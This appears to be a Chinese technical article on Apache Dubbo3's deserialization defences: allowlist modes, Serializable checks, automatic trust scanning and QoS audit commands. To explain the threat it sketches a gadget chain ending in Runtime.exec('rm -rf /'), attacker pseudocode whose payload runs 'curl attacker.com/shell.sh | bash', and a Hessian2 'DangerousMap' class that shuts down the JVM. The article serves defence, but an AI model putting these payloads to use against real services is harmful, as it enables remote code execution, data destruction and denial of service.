Dubbo3反序列化安全机制详解
为什么Dubbo3引入反序列化白名单
Dubbo3从 3.1.6 版本开始引入了”序列化类检查机制”——只允许受信任白名单中的类进行序列化/反序列化。这是为了防止通过反序列化进行的 RCE(远程代码执行) 攻击。
该检查机制有三种模式:
| 模式 | 行为 | 版本默认值 |
|---|---|---|
| STRICT | 只允许白名单中的类,其余一律拒绝 | 3.2 默认 |
| WARN | 只拒绝黑名单中的类,对非白名单类记录警告 | 3.1 默认 |
| DISABLE | 不做任何检查 | — |
配置方式:
dubbo.application.serialize-check-status=STRICT通过反序列化实施RCE攻击的原理
核心前提:Java反序列化会自动执行某些方法
Java在反序列化一个对象时,会自动调用该对象的 readObject() 方法(如果有的话)。这不是漏洞,这是Java的设计——给类一个机会在反序列化时做自定义恢复逻辑。
// 反序列化时,JVM 会自动调用这个方法private void readObject(ObjectInputStream in) { // 这里的代码会自动执行}攻击者的思路就是:构造一个恶意对象,它的 readObject() 里会触发危险操作。
但攻击者不能直接写恶意类
攻击者不能直接传一个 class Evil { Runtime.exec("rm -rf /") } 过去,因为服务端没有这个类。但是,Java类路径上已经有大量现成的类,它们组合起来可以构成一条”调用链”——这就是所谓的 Gadget Chain(利用链)。
简化的攻击流程
假设服务端类路径上有这些类(常见于 commons-collections、Spring 等库):
攻击者构造的序列化数据不是直接传一个命令,而是构造一个嵌套对象链:
TransformedMap └─ 内部持有一个 Transformer[] 链 ├─ InvokerTransformer("getMethod", "exec") ├─ InvokerTransformer("invoke", ...) └─ InvokerTransformer("exec", "rm -rf /")当服务端反序列化这个对象时发生的事情:
1. JVM 反序列化 TransformedMap 对象2. TransformedMap.readObject() 被自动调用3. readObject() 内部检查到 Map 发生了变化4. 触发 Transformer 链逐个执行5. InvokerTransformer 的作用是:通过反射调用任意方法6. 最终链式调用等价于:Runtime.getRuntime().exec("rm -rf /")服务端完全没有意识到它在执行命令,它只是在”还原一个对象”,但还原过程中被精心构造的调用链劫持了。
用伪代码理解整个过程
攻击者(客户端) 服务端───────────────── ──────────
// 1. 构造恶意对象Object malicious = craftPayload( "curl attacker.com/shell.sh | bash");
// 2. 序列化后作为 RPC 参数发送byte[] data = serialize(malicious);send(data) ──────────────────► // 3. 服务端收到,正常反序列化 Object obj = deserialize(data);
// 4. JVM 自动调用 obj.readObject() // 5. readObject 内部触发 gadget chain // 6. 等价于执行了: // Runtime.exec( // "curl attacker.com/shell.sh | bash" // ) // 💥 服务器被攻陷为什么Dubbo尤其容易被攻击
Dubbo作为RPC框架,天然需要接收外部网络数据并反序列化:
Consumer ──[序列化参数]──► 网络 ──► Provider 反序列化 ↑ 攻击入口在这里攻击者伪装成Consumer,发送恶意序列化数据,Provider反序列化时就触发了RCE。
Hessian2反序列化的更直观攻击示例
比gadget链更简单的攻击方式——Hessian2的 MapDeserializer 在反序列化时会自动调用 map.put(key, value)。攻击者创建一个 DangerousMap 继承 HashMap,重写 put() 方法调用 System.exit(-1)。只需反序列化这个Map就能杀死JVM。这甚至不需要 readObject()——直接劫持了序列化框架自身的逻辑。
public class DangerousMap<K, V> extends HashMap<K, V> { @Override public V put(K key, V value) { System.out.println("The JVM will be shutdown..."); System.exit(-1); return super.put(key, value); }}测试 DangerousMap 的反序列化,你将看不到 end... 输出,JVM会直接关闭。细思极恐,仅仅是反序列化一个Map对象,竟然导致JVM退出,可见序列化不被信任的Class要非常小心。
重点:不是通过 readObject() 触发的gadget chain,而是序列化框架本身的逻辑(MapDeserializer 会自动调用 put)就被劫持了。这比Java原生序列化的 readObject 机制更简单直接。
为什么白名单能防御
没有白名单时:
deserialize(data) → 发现是 TransformedMap 类 → 正常实例化 → 触发 RCE 💥有白名单(STRICT 模式)时:
deserialize(data) → 发现是 TransformedMap 类→ 检查白名单:TransfomedMap 在白名单吗?不在!→ 拒绝反序列化 → 抛出异常 → 攻击失败 ✅白名单确保只有业务中真正需要用到的类才能被反序列化,攻击者构造的gadget chain中的类(如 InvokerTransformer、TransformedMap)不在白名单里,反序列化直接被拒绝。
历史漏洞
| 漏洞 | 利用方式 |
|---|---|
| CVE-2019-17564 | Dubbo HTTP remoting 接受任意序列化协议,攻击者选择 Java 原生序列化,发送 gadget chain |
| CVE-2023-46279 | 绕过 Dubbo 的黑名单检查(黑名单可被绕过,所以后来改用白名单) |
这也解释了为什么Dubbo从黑名单策略转向了白名单策略——黑名单永远无法穷举所有危险类,而白名单(默认拒绝)从根本上更安全。
Dubbo3如何自动识别白名单参数
Dubbo3默认 AutoTrustSerializeClass=true,会自动扫描Service接口来填充白名单,避免开发者手动配置白名单带来的额外负担。
触发时机
当Service暴露(Provider)或引用(Consumer)时自动触发:
ServiceConfig.export() ──► SerializeSecurityConfigurator.registerInterface(Class<?> clazz)ReferenceConfig.refer() ──► SerializeSecurityConfigurator.registerInterface(Class<?> clazz)核心源码解析
public synchronized void registerInterface(Class<?> clazz) { // 前提:autoTrustSerializeClass 必须为 true(默认就是 true) if (!autoTrustSerializeClass) { return; }
Set<Type> markedClass = new HashSet<>(); // 防止重复扫描
// === 第一步:信任 Service Class 自身 + 递归扫描关联类型 === checkClass(markedClass, clazz); addToAllow(clazz.getName());
Method[] methodsToExport = clazz.getMethods();
// === 第二步:遍历所有方法,信任入参、出参、异常 === for (Method method : methodsToExport) { // 方法入参类型 for (Class<?> parameterType : method.getParameterTypes()) { checkClass(markedClass, parameterType); } // 方法入参的泛型(如 Optional<ThirdParam>) for (Type genericParameterType : method.getGenericParameterTypes()) { checkType(markedClass, genericParameterType); } // 返回值类型 checkClass(markedClass, method.getReturnType()); checkType(markedClass, method.getGenericReturnType()); // 异常类型 for (Class<?> exceptionType : method.getExceptionTypes()) { checkClass(markedClass, exceptionType); } for (Type genericExceptionType : method.getGenericExceptionTypes()) { checkType(markedClass, genericExceptionType); } }}checkClass 递归扫描了什么
checkClass 不仅仅是把类本身加进去,它会递归展开:
checkClass(UserService.class) ├── 信任 UserService 自身 ├── 递归扫描 UserService 的父类 ├── 递归扫描 UserService 实现的接口 └── 递归扫描 UserService 的所有字段类型 └── 对每个字段类型再次 checkClass(递归到底)addToAllow 的包级信任策略
找到类之后,addToAllow 决定信任的范围:
private void addToAllow(String className) { // 1. JDK 内置类直接信任 if (className.startsWith("java.") || className.startsWith("javax.") || className.startsWith("com.sun.") || className.startsWith("sun.") || className.startsWith("jdk.")) { serializeSecurityManager.addToAllowed(className); return; }
// 2. 自定义类:根据 trustSerializeClassLevel 信任到包级别 String[] subs = className.split("\\."); if (subs.length > trustSerializeClassLevel) { serializeSecurityManager.addToAllowed( Arrays.stream(subs).limit(trustSerializeClassLevel) .collect(Collectors.joining(".")) + "."); } else { serializeSecurityManager.addToAllowed(className); }}具体例子
假设你有这个 Service:
package org.example.echo.service;
public interface EchoService { Result echo(Request request);}其中 Request 在 org.example.echo.pojo.Request,Result 在 org.example.echo.pojo.Result,trustSerializeClassLevel=3。
启动时自动信任流程:
扫描 EchoService.class │ ├─ addToAllow("org.example.echo.service.EchoService") │ → subs=["org","example","echo","service","EchoService"] │ → level=3,信任 "org.example.echo." │ ├─ 扫描方法 echo(Request) 的入参 │ → checkClass(Request.class) │ → addToAllow("org.example.echo.pojo.Request") │ → 信任 "org.example.echo." (同上,已存在) │ ├─ 扫描方法 echo 的返回值 │ → checkClass(Result.class) │ → addToAllow("org.example.echo.pojo.Result") │ → 信任 "org.example.echo." (同上,已存在) │ └─ 最终结果:org.example.echo 包下所有类都被自动信任信任优先级
用户自定义白名单 (serialize.allowlist) = 框架内置白名单 (dubbo-common 模块预配置) > 用户自定义黑名单 (serialize.blockedlist) = 框架内置黑名单 > 自动扫描信任的类(registerInterface 流程)框架内置白名单预配置了常用安全类,包括:
- Java基本数据类型及包装类(
int,Integer,String,Long…) - 常用集合类(
ArrayList,HashMap…) java.*,javax.*开头的JDK类
常见踩坑场景
由于 Class#getMethods() 返回的方法顺序不固定,如果某个方法的参数引用了consumer端不存在的类(比如三方SDK版本不一致),会导致 ClassNotFoundException,注册过程中断,后续方法的参数都不会被加入白名单。
这会造成”重启有时能调通,有时不行”的诡异现象。推荐的修复方式是:Service Class 所有的方法入参和出参,都不应该直接用三方SDK的类——在API模块新建DTO类,把三方类转换成自己的DTO类。
Serializable接口检查机制
Dubbo3有一个独立的安全层:check-serializable=true(默认开启)。在反序列化时会检查目标类是否实现了 java.io.Serializable 接口。如果没有实现,直接拒绝反序列化。
检查流程
反序列化请求到达 → 检查1:该类是否实现了 Serializable 接口? → 没实现 → 直接拒绝(不管白名单) → 实现了 → 继续检查2:该类在白名单中吗? → 不在白名单(STRICT 模式)→ 拒绝 → 在白名单 → 允许反序列化 ✅为什么这能防御攻击但又不够
很多gadget chain中利用的危险类并没有实现 Serializable,比如一些内部工具类、反射辅助类等。即使攻击者构造了嵌套对象链,如果最外层的触发类没实现 Serializable,整个攻击在第一步就被拦住了。
但问题是:大量危险类确实实现了 Serializable。比如 HashMap、HashSet、LinkedHashMap 等都是gadget chain的常用载体,它们全都实现了 Serializable。所以Serializable检查只是”初筛”,真正核心的防御还是白名单机制。
配置方式:
# 默认 true,开启 Serializable 接口检查dubbo.application.check-serializable=true关闭后会跳过这个检查,但不建议关闭。
三层防护总结
| 层级 | 机制 | 配置项 | 默认值 |
|---|---|---|---|
| 第1层 | Serializable接口检查 | check-serializable=true | true(开启) |
| 第2层 | 白名单/黑名单检查 | serialize-check-status=STRICT | 3.2=STRICT, 3.1=WARN |
| 第3层 | 自动信任扫描 | auto-trust-serialize-class=true | true(开启) |
三层之间的关系:
| 场景 | Serializable检查 | 白名单检查 | 结果 |
|---|---|---|---|
| 正常业务DTO(实现了Serializable,在白名单中) | ✅ | ✅ | 通过 |
| 正常业务DTO(未实现Serializable) | ❌ | — | 拒绝 |
| 攻击者的恶意类(实现了Serializable,不在白名单中) | ✅ | ❌ | 拒绝 |
| 攻击者的恶意类(未实现Serializable) | ❌ | — | 拒绝 |
自定义白名单配置
除了自动扫描,还支持手动配置白名单文件:
com.yourcompany.model
# resources/security/serialize.blockedlistcom.dangerous.package配置成功后可以在日志看到以下提示:
INFO utils.SerializeSecurityConfigurator: [DUBBO] Read serialize allow list from file:...INFO utils.SerializeSecurityConfigurator: [DUBBO] Read serialize blocked list from file:...QoS审计命令
Dubbo支持通过QoS命令实时查看当前的配置信息以及可信/不可信类列表:
serializeCheckStatus —— 查看当前配置信息
通过控制台直接访问:
> telnet 127.0.0.1 22222dubbo>serializeCheckStatusCheckStatus: STRICT
CheckSerializable: true
AllowedPrefix:...
DisAllowedPrefix:...通过HTTP请求JSON格式结果:
> curl http://127.0.0.1:22222/serializeCheckStatus{"checkStatus":"STRICT","allowedPrefix":[...],"checkSerializable":true,"disAllowedPrefix":[...]}serializeWarnedClasses —— 查看实时警告列表
> telnet 127.0.0.1 22222dubbo>serializeWarnedClassesWarnedClasses:io.dubbo.test.NotSerializableio.dubbo.test2.NotSerializable建议及时关注 serializeWarnedClasses 的结果,通过返回结果是否非空来判断是否受到攻击。